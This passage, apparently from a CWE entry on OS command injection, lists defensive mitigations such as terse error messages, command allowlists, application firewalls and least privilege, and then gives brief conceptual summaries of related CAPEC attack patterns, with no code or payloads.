- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.